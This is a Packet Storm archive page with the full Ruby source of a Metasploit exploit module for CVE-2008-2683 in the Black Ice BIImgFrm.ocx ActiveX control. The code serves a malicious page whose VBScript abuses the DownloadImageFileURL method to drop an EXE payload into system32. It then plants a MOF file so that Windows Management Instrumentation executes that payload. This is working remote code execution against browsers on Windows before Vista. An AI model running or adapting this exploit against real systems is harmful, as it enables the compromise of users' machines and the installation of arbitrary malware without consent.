exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Black Ice Cover Page ActiveX Control Arbitrary File Download

Black Ice Cover Page ActiveX Control Arbitrary File Download
Posted Jun 21, 2011
Authored by shinnai, mr_me, sinn3r | Site metasploit.com

This Metasploit module allows remote attackers to place arbitrary files on a users file system by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX Control (BIImgFrm.ocx 12.0.0.0). Code execution can be achieved by first uploading the payload to the remote machine, and then upload another mof file, which enables Windows Management Instrumentation service to execute the binary. Please note that this module currently only works for Windows before Vista. Also, a similar issue is reported in BIDIB.ocx (10.9.3.0) within the Barcode SDK.

tags | exploit, remote, arbitrary, code execution, activex
systems | windows
advisories | CVE-2008-2683, OSVDB-46007
SHA-256 | c654011b0b3147d7a6b19b80df3e17b7fd597bafa54d127293006bedf2615b9d

Black Ice Cover Page ActiveX Control Arbitrary File Download

Change Mirror Download
##
# $Id: blackice_downloadimagefileurl.rb 12992 2011-06-21 02:51:39Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
:vuln_test => nil,
})

def initialize(info = {})
super(update_info(info,
'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
'Description' => %q{
This module allows remote attackers to place arbitrary files on a users file system
by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
Control (BIImgFrm.ocx 12.0.0.0). Code exeuction can be acheived by first uploading the
payload to the remote machine, and then upload another mof file, which enables Windows
Management Instrumentation service to execute the binary. Please note that this module
currently only works for Windows before Vista. Also, a similar issue is reported in
BIDIB.ocx (10.9.3.0) within the Barcode SDK.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shinnai', # original discovery
'mr_me', # msf
'sinn3r' # wbemexec tekniq
],
'Version' => '$Revision: 12992 $',
'References' =>
[
[ 'CVE', '2008-2683'],
[ 'OSVDB', '46007'],
[ 'BID', '29577'],
[ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 05 2008'))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)

if request.uri.match(/\.EXE/)
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })
return
elsif request.uri.match(/\.MOF/)
return if @mof_name == nil or @payload_name == nil
print_status("Generating mof...")
mof = generate_mof(@mof_name, @payload_name)
print_status("Sending MOF to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})
return
end

url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'] + get_resource() + "/"

#VBScript variables
clsid = "79956462-F148-497F-B247-DF35A095F80B"
method = "DownloadImageFileURL"
blackice = rand_text_alpha(rand(100) + 1) #BlackIce object ID
@payload_name = rand_text_alpha(rand(10) + 1) + ".EXE" #Payload name
payload_vbs_url_name = rand_text_alpha(5) #Payload's vbs var name
payload_vbs_lpath = rand_text_alpha(6) #Payload's lpath var name
@mof_name = rand_text_alpha(rand(10) + 1) + ".MOF" #MOF path on victim machine
mof_vbs_url_name = rand_text_alpha(5) #MOF's vbs var name
mof_vbs_lpath = rand_text_alpha(6) #MOF's lpath var name
sub_name = rand_text_alpha(rand(10) + 1) #Subroutine name

#Slow connection friendly: We will wait for 4 seconds before we try to execute our payload
#This delay seems necessary before calling mof, otherwise we end up interrupting downloading
#our payload
content = <<-EOS
<html>
<object classid='clsid:#{clsid}' id='#{blackice}' ></object>
<script language='vbscript'>
sub #{sub_name}
#{mof_vbs_url_name} = "#{url}#{@mof_name}"
#{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}"
#{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath}
end sub

#{payload_vbs_url_name} = "#{url}#{@payload_name}"
#{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}"
#{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath}
setTimeout "#{sub_name}()", 4000
</script>
</html>
EOS

#Clear the extra tabs
content = content.gsub(/^\t\t/, '')

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)

end

def exploit
@payload = generate_payload_exe
super
end

end
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close